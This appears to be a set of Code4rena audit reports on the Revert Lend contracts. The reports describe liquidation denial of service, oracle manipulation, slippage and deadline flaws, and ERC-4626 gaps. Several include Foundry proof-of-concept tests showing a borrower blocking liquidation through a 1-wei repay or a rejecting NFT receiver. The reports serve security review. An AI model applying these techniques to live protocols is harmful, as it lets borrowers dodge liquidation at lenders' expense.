Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L696-L698

Vulnerability details

Impact

Users can still repay the loan even when they are liquidated. Add to that, in liquidated we are checking

if (debtShares != params.debtShares) {
    revert DebtChanged();
}

Using this user can wait tell he sees someone is liquidating him then he repays 1 wei causing this function to revert.

Proof of Concept

function testliquidateUser() public {
        _setupBasicLoan(true);
        assertEq(vault.dailyDebtIncreaseLimitLeft(), 3152794);
        (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);

        (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT);

        // wait 7 day - interest growing
        vm.warp(block.timestamp + 7 days);

        (debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);

        (uint256 debtShares) = vault.loans(TEST_NFT);

        vm.prank(TEST_NFT_ACCOUNT);
        USDC.approve(address(vault), 10000);

        vm.prank(TEST_NFT_ACCOUNT);
        vault.repay(TEST_NFT, 1, true);


        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), liquidationCost);

        vm.prank(WHALE_ACCOUNT);
        vm.expectRevert(IErrors.DebtChanged.selector);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
    }

Tools Used

VScode

Recommended Mitigation Steps

Dont allow user to repay or dont check the liquidity being paid.

Similar reports

code-423n4/2023-09-centrifuge-findings#143

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1083

Vulnerability details

Vulnerability details

Bug Description

If the borrower enters token blacklist, LP may never be able to retrieve Liquidity
The vulnerability and it's impact is similar to Particle-H1 where if the borrower enters the token0 or token1 blacklist, such as USDC and the token has a profit, then _closePositon() will revert, and LP’s Liquidity is locked in the contract.

Currently, there are 3 ways to retrieve Liquidity

1. borrower actively closes the position : call repay()
2. be forced liquidation leads to close the position : liquidate()
3. Replacement.

No matter which one, if there is a profit in the end, it needs to be refunded to the borrower. This can be seen in _cleanUpLoAN() which is called in all instances.
V3Vault.sol#L1083

    // cleans up loan when it is closed because of replacement, repayment or liquidation
    // send the position in its current state to owner
    function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner)
        internal
    {
        _removeTokenFromOwner(owner, tokenId);
        _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0);
        delete loans[tokenId];
        nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
        emit Remove(tokenId, owner);
    }

In this way, if the borrower enters the token0 or token1 blacklist, such as USDC and the token always has a profit, then repay() -> nonfungiblePositionManager.safeTransferFrom() will definitely revert, causing _cleanupLoan() to always revert, and LP’s Liquidity is locked in the contrac

Impact

If the borrower enters the token blacklist and always has a profit, LP may not be able to retrieve Liquidity.

Recommended Mitigation

Add a new claims[token] mechanism.

If refund()-> transfer() fails, record claims[token]+= (amountExpected - amountActual).

And provide methods to support borrower to claim().

Assessed type

ERC20

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1066

Vulnerability details

Vulnerability

The vulnerability and impact is similar to Particle M-02 where block.timestamp was used as the deadline argument while interacting with the Uniswap NFT Position Manager.
Using block.timestamp as a deadline completely defeats the purpose of using a deadline.

Impact

Actions in the Uniswap NonfungiblePositionManager contract are protected by a deadline parameter to limit the execution of pending transactions. Functions that modify the liquidity of the pool check this parameter against the current block timestamp in order to discard expired actions.

These interactions with the Uniswap position are present in the V3Vault contract. Specifically, _sendPositionValue() which is called during liquidate() calls onfungiblePositionManager.decreaseLiquidity() while providing block.timestamp as the argument for the deadline parameter:
V3Vault.sol#L1066

if (liquidity > 0) {
            nonfungiblePositionManager.decreaseLiquidity(
                INonfungiblePositionManager.DecreaseLiquidityParams(tokenId, liquidity, 0, 0, block.timestamp)
            );
        }

Using block.timestamp as the deadline is effectively a no-operation that has no effect nor protection. Since block.timestamp will take the timestamp value when the transaction gets mined, the check will end up comparing block.timestamp against the same value, i.e. block.timestamp <= block.timestamp
(see here).

Failure to provide a proper deadline value enables pending transactions to be maliciously executed at a later point. Transactions that provide an insufficient amount of gas such that they are not mined within a reasonable amount of time, can be picked by malicious actors or MEV bots and executed later in detriment of the submitter.

See this issues for an excellent reference on the topic (the author runs a MEV bot).

Recommendation

Add a deadline parameter for the INonfungiblePositionManager.DecreaseLiquidityParams() call

Assessed type

Uniswap

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1090-L1120

Vulnerability details

Impact

Users can deposit with Uniswap NFT as collateral when taking loans, the position is a combination of a token pair, and the position is considered as valid collateral (users can take a loan using it as collateral) if both the pairs are whitelisted (i.e. collateral value > 0). However, if a user deposits an NFT and takes a loan, then the protocol decides for whatever reason to un-whitelist 1 of these tokens (sets the collateral value as 0 for that token), the loan will get in an unstable state, where it's liquidatable but calling liquidate function will always revert with the division or modulo by zero error, thrown in V3Vault::_calculateLiquidation. This messes up the whole logic and prevents users from reclaiming their NFT position.

Proof of Concept

function testCantLiquidateAfterUnWhitelist() public {
    vault.setLimits(1e6, 150e6, 150e6, 150e6, 150e6);

    vm.startPrank(WHALE_ACCOUNT);
    USDC.approve(address(vault), type(uint256).max);
    vault.deposit(100e6, WHALE_ACCOUNT);
    vm.stopPrank();

    address USER_1 = TEST_NFT_ACCOUNT;
    uint256 USER_1_NFT = TEST_NFT;

    assertEq(NPM.ownerOf(USER_1_NFT), USER_1);

    (,, address token0, address token1,,,,,,,,) = NPM.positions(USER_1_NFT);

    assertEq(token0, address(DAI));
    assertEq(token1, address(USDC));

    // User deposits his Uniswap position (USDC/DAI) as collateral
    vm.startPrank(USER_1);
    NPM.approve(address(vault), USER_1_NFT);
    vault.create(USER_1_NFT, USER_1);
    vm.stopPrank();

    assertEq(NPM.ownerOf(USER_1_NFT), address(vault));

    // User borrows 5e6
    vm.prank(USER_1);
    vault.borrow(USER_1_NFT, 5e6);

    vm.warp(block.timestamp + 1 days);

    // DAI is un-whitelisted, collateral factor is set to 0
    vault.setTokenConfig(address(DAI), 0, type(uint32).max);

    (uint256 debtShares) = vault.loans(USER_1_NFT);

    vm.prank(WHALE_ACCOUNT);
    vm.expectRevert(); // division or modulo by zero
    vault.liquidate(IVault.LiquidateParams(USER_1_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
}

Tools Used

Manual review

Recommended Mitigation Steps

Refactor the current implementation of the collateral value calculation to take into consideration the loan that was taken when a token was whitelisted (i.e. collateral factor > 0).

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L363

Vulnerability details

Impact

pool.slot0` can be easily manipulated via flash loans to sandwich attack users. The sqrtPriceX96 is pulled from Uniswap.slot0, which is the most recent data point and can be manipulated easily via MEV bots and Flashloans with sandwich attacks; which can cause the loss of funds when interacting with the Uniswap.swap function.

Proof of Concept

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L363

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L357-L374

Tools Used

Manual Review

Recommended Mitigation Steps

Use UniswapV3 TWAP or Chainlink Price Oracle.

Assessed type

Uniswap

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/V3Vault.sol#L685

Vulnerability details

Impact

In V3Vault.sol user can create a position that cannot be liquidated, simply by implementing a onERC721Received function of the NFT owner contract, causing safeTransferFrom to revert - High severity.

Proof of Concept

The liquidate function in V3Vault.sol makes an internal call to _cleanUpLoan.
https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/V3Vault.sol#L744
_cleanUpLoan uses safeTransferFrom() to transfer the NFT back to the owner.
https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/V3Vault.sol#L1083
safeTransferFrom will always revert if the onERC721Received owner function does not return the acceptance magic value to accept the transfer.
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/utils/ERC721Utils.sol?source=post_page-----8a1fb636fcd1--------------------------------#L22-L47
As a result a user could create a onERC721Received that does not return the acceptance magic value causing the whole liquidate function to revert.

There are two cases in which the safeTransferFrom will revert:

1. If the user has not implemented the onERC721Received
2. If the user has the function but does not return the IERC721Receiver.onERC721Received.selector in all cases

Tools Used

Manual Review

Recommended Mitigation Steps

The solution would be to use transferFrom() which will never revert.

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L522

Vulnerability details

Impact

I have highlighted the transform function in the V3Vault contract which includes an external call to an arbitrary contract (transformer). This external call is made without specifying a gas limit, potentially leading to a "Call Without Gas Budget" vulnerability.

1. Understanding the Issue
   In Solidity, when making an external call using .call(), the entire remaining gas is forwarded to the callee by default. This behavior can lead to vulnerabilities if the callee consumes all gas intentionally or due to an error, preventing the execution of important logic after the call returns. It's crucial in security-sensitive contracts, especially in DeFi projects like V3Vault, to limit the amount of gas forwarded to external calls to avoid running out of gas unexpectedly, ensuring that the calling contract retains enough gas to complete its execution securely.

Potential Impact

1. Denial of Service (DoS): If the transformer contract consumes all available gas, the subsequent operations after the .call(data) may fail due to a lack of gas, potentially leading to a denial of service.

2. Unexpected Reversions: Critical operations post-call, like state updates or security checks, might not execute if the called contract uses too much gas.

Recommendations

1. Limit Gas for External Calls: Use .call{gas: }(data) instead of .call(data) to specify a gas limit for the external call.

Proof of Concept

The issue is on line 522 of the V3Vault contract.

line 497 function transform(uint256 tokenId, address transformer, bytes
calldata data)
external
override
returns (uint256 newTokenId)
{
// other lines of code

line 522 (bool success,) = transformer.call(data);
if (!success) {
revert TransformFailed();
}

Note:
Because of EIP-2929: "Gas cost increases for state access opcodes" was introduced as part of the Berlin upgrade to Ethereum in April 2021. Its primary goal is to increase the gas cost for certain EVM opcodes that access the state, specifically SLOAD, CALL, CALLCODE, DELEGATECALL, STATICCALL, and EXTCODEHASH. This EIP was proposed to help mitigate certain types of DoS (Denial of Service) attacks where attackers could cheaply spam the network with transactions that read from many distinct storage slots or call many distinct contracts, causing nodes to perform a disproportionate amount of work processing these transactions.

With EIP-2929, the first access to a specific address or storage slot in a transaction costs more gas than subsequent accesses. The rationale is that the initial access potentially loads data from disk into memory, which is more resource-intensive than accessing data already in memory.

Here are the key changes introduced by EIP-2929:

1. Increased Gas Costs for SLOAD and *CALL Opcodes: The gas costs for the SLOAD opcode and the *CALL family of opcodes (CALL, CALLCODE, DELEGATECALL, STATICCALL) were significantly increased for the first access to a particular address or storage slot during a transaction.

2. Warm Storage Access: After the first "cold" access, any subsequent access to the same address or storage slot within the same transaction is considered "warm" and costs significantly less gas. This encourages efficient contract development practices where repeated accesses to the same data are optimized.

3. Address and Storage Slot Access Lists: EIP-2929 introduces the concept of access lists, which are part of EIP-2930. Transactions can specify a list of addresses and storage keys that the transaction intends to access, marking them as "warm" from the start of execution. This can help reduce the overall gas cost for transactions that predeclare their access patterns.

For contracts and transactions that involve multiple calls or state accesses, the gas costs could increase significantly due to EIP-2929. This impact makes it even more crucial to consider gas optimization strategies in contract design and operation, especially for complex operations like the one described in your transform function. When specifying a gas limit for calls as per the mitigation strategy for "Call Without Gas Budget" vulnerabilities, it's essential to account for these increased costs to ensure that the called contract has enough gas to perform its intended operations.

Tools Used

VS code with Olympix app

Recommended Mitigation Steps

To address the "Call Without Gas Budget" vulnerability identified in your transform function, you can adjust the external call to the transformer by specifying a gas limit. The gas consumption can be estimated with a reasonable buffer for variability, you can set a specific gas limit. Otherwise, you may need to provide a more generous gas limit to avoid unexpected out-of-gas errors, especially considering that the transformer's behavior might change over time if it is upgradeable or interacts with other contracts dynamically.

Here's an adjusted version of the transform function with a specified gas limit for the call to the transformer:

function transform(uint256 tokenId, address transformer, bytes calldata data)
external
override
returns (uint256 newTokenId)
{
if (tokenId == 0 || !transformerAllowList[transformer]) {
revert TransformNotAllowed();
}
if (transformedTokenId > 0) {
revert Reentrancy();
}
transformedTokenId = tokenId;

(uint256 newDebtExchangeRateX96,) = _updateGlobalInterest();

address loanOwner = tokenOwner[tokenId];

// only the owner of the loan, the vault itself or any approved caller can call this
if (loanOwner != msg.sender && !transformApprovals[loanOwner][tokenId][msg.sender]) {
    revert Unauthorized();
}

// give access to transformer
nonfungiblePositionManager.approve(transformer, tokenId);

// Specify a gas limit for the call to the transformer
// Example: .call{gas: 500000}(data) - Adjust the gas limit as needed
(bool success,) = transformer.call{gas: 500000}(data); 
if (!success) {
    revert TransformFailed();
}

// may have changed in the meantime
tokenId = transformedTokenId;

// check owner not changed (NEEDED because token could have been moved 
somewhere else in the meantime)
address owner = nonfungiblePositionManager.ownerOf(tokenId);
if (owner != address(this)) {
    revert Unauthorized();
}

// remove access for transformer
nonfungiblePositionManager.approve(address(0), tokenId);

uint256 debt = _convertToAssets(loans[tokenId].debtShares, 
newDebtExchangeRateX96, Math.Rounding.Up);
_requireLoanIsHealthy(tokenId, debt);

transformedTokenId = 0;

return tokenId;

}

In this example, I've arbitrarily chosen 500000 gas for the .call to the transformer. You should adjust this value based on the anticipated complexity of the operations performed by the transformer.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1066

Vulnerability details

Vulnerability details

The vulnerability is similar to particle-2 where the slippage parameters where hardcoded to 0 when calling INonfungiblePositionManager to Increase/decrease Liquidity.
During the call to INonfungiblePositionManager.DecreaseLiquidityParams() the amount0Min and amount1Min are set to 0. V3Vault.sol#L1066

nonfungiblePositionManager.decreaseLiquidity(
                INonfungiblePositionManager.DecreaseLiquidityParams(tokenId, liquidity, 0, 0, block.timestamp)
            );

There is a slippage protection check during liquidation in function liquidate()
3Vault.sol#L738

if (amount0 < params.amount0Min || amount1 < params.amount1Min) {
            revert SlippageError();
        }

If the specified amount0Min and amount1Min of the user is greater than 0, this mismatch can lead to problems. The user specified an amount0Min and amount1Min that is greater than 0 but during the call to nonfungiblePositionManager.decreaseLiquidity() The amount0Min and amount1Min are set to 0.

As Uniswap V3 docs highlight:

https://docs.uniswap.org/contracts/v3/guides/providing-liquidity/mint-a-position#calling-mint

We set amount0Min and amount1Min to zero for the example - but this would be a vulnerability in production.

Impact

The hardcoded slippage values could lead to problems during liquidation as they do not match the
amount0Min and amount1Min specified by the user.

Recommended Mitigation Steps

Recommend do not hardcode slippage protection parameter amount0Min and amount1Min to 0 when decreasing liquidity.

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/V3Utils.sol#L867

Vulnerability details

Impact

There is a "Call Without Gas Budget" issue in _transferToken function at line 867 of the V3Utils contract. In the context of EIP-2929, which introduces changes to the Ethereum Virtual Machine's (EVM) gas cost calculations, particularly increasing the gas cost for certain opcodes to mitigate against denial-of-service (DoS) attacks.

Proof of Concept

On line 867

function _transferToken(address to, IERC20 token, uint256 amount, bool unwrap) internal {
if (address(weth) == address(token) && unwrap) {
weth.withdraw(amount);
//Line 867 (bool sent,) = to.call{value: amount}("");
if (!sent) {
revert EtherSendFailed();
}
} else {
SafeERC20.safeTransfer(token, to, amount);
}
}

Here, to.call{value: amount}(""); is used to send Ether.

1. Starting with EIP-2929, the gas costs for CALL and CALLCODE operations when targeting a cold address (an address not recently interacted with) are significantly increased. This means that the default gas stipend of 2300 gas for .call{value: amount}("") might not be sufficient for the recipient to execute even a simple fallback function if the address is "cold," potentially leading to failed transactions.

Tools Used

VS code and Oylmpix app

Recommended Mitigation Steps

The relevant part of your code is this:

if (address(weth) == address(token) && unwrap) {
weth.withdraw(amount);
// line 867
(bool sent,) = to.call{value: amount}("");
if (!sent) {
revert EtherSendFailed();
}
}

To mitigate this issue and ensure robustness post-EIP-2929, consider explicitly specifying a higher gas limit for such calls if you expect the recipient to perform operations that require more gas. You can estimate the required gas based on the operations you expect the recipient to perform and include a buffer to accommodate the increased costs introduced by EIP-2929. For instance:

// Example adjustment with a higher gas limit
if (address(weth) == address(token) && unwrap) {
weth.withdraw(amount);
// Specify a higher gas limit for the call
(bool sent,) = to.call{value: amount, gas: 10000}(""); // Adjust the gas limit as needed
if (!sent) {
revert EtherSendFailed();
}
}

However, it's crucial to carefully consider the implications of specifying a higher gas limit, as it could increase the vulnerability to reentrancy attacks or other unexpected behaviors in the recipient's contract. Ensure that any operations performed after this point in the function are not sensitive to changes in state that could be maliciously induced by the called contract.

Moreover, adopting checks-effects-interactions pattern where possible and using reentrancy guards like OpenZeppelin's ReentrancyGuard can further secure your contracts against reentrancy attacks, which might become more feasible or attractive to attackers if more gas is provided to called contracts.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1083

Vulnerability details

Impact

Prevent liquidation of malicious actor's position, causing bad debt to the protocol and users (since some bad debt are democratized to users).

Description

At the end of liquidation process, loan struct is clear up in _clearupLoan() function.
see: https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L743-L744

Zooming in _clearupLoan implementation:

function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner) internal
{
    _removeTokenFromOwner(owner, tokenId);
    _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0);
    delete loans[tokenId];
    nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
    emit Remove(tokenId, owner);
}

Note that it transfers NFT position back to token's owner.
Using safeTransferFrom, if to address is a contract account, ERC721 token will attempt to call onERC721Received on to address. For contract account to receive ERC721 token, it must implement onERC721Received and return a magic bytes to signal that it can handle ERC721 token, if NOT then the transfer will revert.

A malicious actor can leverage this fact and implement onERC721Received that only revert the transfer when it is the part of liquidation process so that its position can't be liquidated.

Proof-of-Concept

I wrote a test for this in a separate file, borrow a setup from V3Vault.t.sol and its liquidation test.
What it does is it use foundry cheatcode, vm.etch to put a bytecode into TEST_NFT_ACCOUNT in order to demonstrate that liquidation will fail if the receiver of the position is not compatible with ERC721Receiver

Steps

(1) Save below file in test/integrations, name it LiquidationFail.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// base contracts
import "../../src/V3Oracle.sol";
import "../../src/V3Vault.sol";
import "../../src/InterestRateModel.sol";

// transformers
import "../../src/transformers/LeverageTransformer.sol";
import "../../src/transformers/V3Utils.sol";
import "../../src/transformers/AutoRange.sol";
import "../../src/transformers/AutoCompound.sol";

import "../../src/utils/FlashloanLiquidator.sol";

import "../../src/interfaces/IErrors.sol";

contract LiquidationFail is Test {
    uint256 constant Q32 = 2 ** 32;
    uint256 constant Q96 = 2 ** 96;

    uint256 constant YEAR_SECS = 31557600; // taking into account leap years

    address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC;

    IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);

    INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
    address EX0x = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF; // 0x exchange proxy
    address UNIVERSAL_ROUTER = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;

    address constant CHAINLINK_USDC_USD = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6;
    address constant CHAINLINK_DAI_USD = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9;
    address constant CHAINLINK_ETH_USD = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;

    address constant UNISWAP_DAI_USDC = 0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168; // 0.01% pool
    address constant UNISWAP_ETH_USDC = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; // 0.05% pool
    address constant UNISWAP_DAI_USDC_005 = 0x6c6Bc977E13Df9b0de53b251522280BB72383700; // 0.05% pool

    address constant TEST_NFT_ACCOUNT = 0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5;
    uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320)

    address constant TEST_NFT_ACCOUNT_2 = 0x454CE089a879F7A0d0416eddC770a47A1F47Be99;
    uint256 constant TEST_NFT_2 = 1047; // DAI/USDC 0.05% - in range (-276330/-276320)

    uint256 constant TEST_NFT_UNI = 1; // WETH/UNI 0.3%

    uint256 mainnetFork;

    V3Vault vault;

    InterestRateModel interestRateModel;
    V3Oracle oracle;

    function setUp() external {
        mainnetFork = vm.createFork("https://ethereum.publicnode.com");
        vm.selectFork(mainnetFork);

        // 0% base rate - 5% multiplier - after 80% - 109% jump multiplier (like in compound v2 deployed)  (-> max rate 25.8% per year)
        interestRateModel = new InterestRateModel(0, Q96 * 5 / 100, Q96 * 109 / 100, Q96 * 80 / 100);

        // use tolerant oracles (so timewarp for until 30 days works in tests - also allow divergence from price for mocked price results)
        oracle = new V3Oracle(NPM, address(USDC), address(0));
        oracle.setTokenConfig(
            address(USDC),
            AggregatorV3Interface(CHAINLINK_USDC_USD),
            3600 * 24 * 30,
            IUniswapV3Pool(address(0)),
            0,
            V3Oracle.Mode.TWAP,
            0
        );
        oracle.setTokenConfig(
            address(DAI),
            AggregatorV3Interface(CHAINLINK_DAI_USD),
            3600 * 24 * 30,
            IUniswapV3Pool(UNISWAP_DAI_USDC),
            60,
            V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
            50000
        );
        oracle.setTokenConfig(
            address(WETH),
            AggregatorV3Interface(CHAINLINK_ETH_USD),
            3600 * 24 * 30,
            IUniswapV3Pool(UNISWAP_ETH_USDC),
            60,
            V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
            50000
        );

        vault =
            new V3Vault("Revert Lend USDC", "rlUSDC", address(USDC), NPM, interestRateModel, oracle, IPermit2(PERMIT2));
        vault.setTokenConfig(address(USDC), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value
        vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value
        vault.setTokenConfig(address(WETH), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value

        // limits 15 USDC each
        vault.setLimits(0, 1_000e6, 1_000e6, 1_000e6, 1_000e6);

        // without reserve for now
        vault.setReserveFactor(0);
    }

    function _setupBasicLoan(bool borrowMax) internal {
        // lend 10 USDC
        _deposit(100e6, WHALE_ACCOUNT);

        // add collateral
        vm.prank(TEST_NFT_ACCOUNT);
        NPM.approve(address(vault), TEST_NFT);
        vm.prank(TEST_NFT_ACCOUNT);
        vault.create(TEST_NFT, TEST_NFT_ACCOUNT);

        (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
        // assertEq(collateralValue, 8847206);
        // assertEq(fullValue, 9830229);

        if (borrowMax) {
            // borrow max
            vm.prank(TEST_NFT_ACCOUNT);
            vault.borrow(TEST_NFT, collateralValue);
        }
    }

    function _repay(uint256 amount, address account, uint256 tokenId, bool complete) internal {
        vm.prank(account);
        USDC.approve(address(vault), amount);
        if (complete) {
            (uint256 debtShares) = vault.loans(tokenId);
            vm.prank(account);
            vault.repay(tokenId, debtShares, true);
        } else {
            vm.prank(account);
            vault.repay(tokenId, amount, false);
        }
    }

    function _deposit(uint256 amount, address account) internal {
        vm.prank(account);
        USDC.approve(address(vault), amount);
        vm.prank(account);
        vault.deposit(amount, account);
    }

    function _createAndBorrow(uint256 tokenId, address account, uint256 amount) internal {
        vm.prank(account);
        NPM.approve(address(vault), tokenId);

        bytes[] memory calls = new bytes[](2);
        calls[0] = abi.encodeWithSelector(V3Vault.create.selector, tokenId, account);
        calls[1] = abi.encodeWithSelector(V3Vault.borrow.selector, tokenId, amount);

        vm.prank(account);
        vault.multicall(calls);
    }

    function testLiquidationFail() public {
        _setupBasicLoan(true);

        (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);

        // debt is equal collateral value
        (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT);

        vault.setTokenConfig(address(DAI), uint32(Q32 * 2 / 10), type(uint32).max); // 20% collateral factor

        // debt is greater than collateral value
        (debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), liquidationCost - 1);

        (uint256 debtShares) = vault.loans(TEST_NFT);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), liquidationCost);

        // putting bytecode into owner account, effectively make it a contract with no support for onERC721Received
        vm.etch(TEST_NFT_ACCOUNT, bytes(hex"6080"));

        vm.prank(WHALE_ACCOUNT);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));

        //  NFT was returned to owner
        assertEq(NPM.ownerOf(TEST_NFT), TEST_NFT_ACCOUNT);

        // all debt is payed
        assertEq(vault.debtSharesTotal(), 0);

    }
}

(2) Run forge test --match-contract LiquidationFail --match-test testLiquidation -vvv
(3) Note that the test fail due to the safeTransferFrom
(4) Try remove this line vm.etch(TEST_NFT_ACCOUNT, bytes(hex"6080")); and run the test again
(5) Note that now the liquidation is successful this time

Recommend Mitigations

• Consider handling NFT transfer in _clearupLoan() with try-catch

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L312-L320
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L301-L309

Vulnerability details

Impact

As stated in the Documentation, the V3Vault contract must comply with the EIP-4626 standard. the Compliance with the EIP-4626 standard is important for the successful integration of the V3Vault contract with other DeFi protocols.

Proof of Concept

We willsummarize, all the compliance issues found in this report:

maxDeposit() and maxMint() doesn't include the daily limit when calculating the maxDeposit or maxMint result and instead only checks for globalLendLimit.

The EIP Standards states the following:

maxDeposit

MUST return the maximum amount of assets deposit would allow to be deposited for receiver and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary). This assumes that the user has infinite assets, i.e. MUST NOT rely on balanceOf of asset.

MUST factor in both global and user-specific limits, like if deposits are entirely disabled (even temporarily) it MUST return 0.

Current implementation of the maxDeposit() in V3Vault: link

    function maxDeposit(address) external view override returns (uint256) {
        (, uint256 lendExchangeRateX96) = _calculateGlobalInterest();
        uint256 value = _convertToAssets(totalSupply(), lendExchangeRateX96, Math.Rounding.Up);
        if (value >= globalLendLimit) {
            return 0;
        } else {
            return globalLendLimit - value;
        }
    }

maxMint

MUST return the maximum amount of shares mint would allow to be deposited to receiver and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary). This assumes that the user has infinite assets, i.e. MUST NOT rely on balanceOf of asset.

MUST factor in both global and user-specific limits, like if mints are entirely disabled (even temporarily) it MUST return 0.

Current implementation of the maxMint() in V3Vault: link

    function maxMint(address) external view override returns (uint256) {
        (, uint256 lendExchangeRateX96) = _calculateGlobalInterest();
        uint256 value = _convertToAssets(totalSupply(), lendExchangeRateX96, Math.Rounding.Up);
        if (value >= globalLendLimit) {
            return 0;
        } else {
            return _convertToShares(globalLendLimit - value, lendExchangeRateX96, Math.Rounding.Down);
        }
    }

Tools Used

Manual Review

Recommended Mitigation Steps

To fix those issues, it is recommended to implement similar changes to the following solution:

    function maxDeposit(address) external view override returns (uint256) {
        (, uint256 lendExchangeRateX96) = _calculateGlobalInterest();
        uint256 value = _convertToAssets(totalSupply(), lendExchangeRateX96, Math.Rounding.Up);
        if (value >= globalLendLimit) {
            return 0;
        } else {
--            return globalLendLimit - value;
++            return min(dailyLendIncreaseLimitMin, globalLendLimit - value);
        }
    }

    function maxMint(address) external view override returns (uint256) {
        (, uint256 lendExchangeRateX96) = _calculateGlobalInterest();
        uint256 value = _convertToAssets(totalSupply(), lendExchangeRateX96, Math.Rounding.Up);
        if (value >= globalLendLimit) {
            return 0;
        } else {
--            return _convertToShares(globalLendLimit - value, lendExchangeRateX96, Math.Rounding.Down);
++            uint256 maxDeposit = min(dailyLendIncreaseLimitMin, globalLendLimit - value);
++            return _convertToShares(maxDeposit, lendExchangeRateX96, Math.Rounding.Down);
        }
    }

Assessed type

ERC4626

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/utils/Swapper.sol#L156-L168

Vulnerability details

Impact

The callback must be validated to verify that the call originated from a genuine V3 pool. Otherwise,pool contract would be vulnerable to attack via an EOA manipulating the callback function.

The uniswap has provided a library function to help with this validation.

  function verifyCallback(
    address factory,
    address tokenA,
    address tokenB,
    uint24 fee
  ) internal returns (contract IUniswapV3Pool pool)

https://docs.uniswap.org/contracts/v3/reference/periphery/libraries/CallbackValidation

Proof of Concept

Refer to the guidance from uniswap

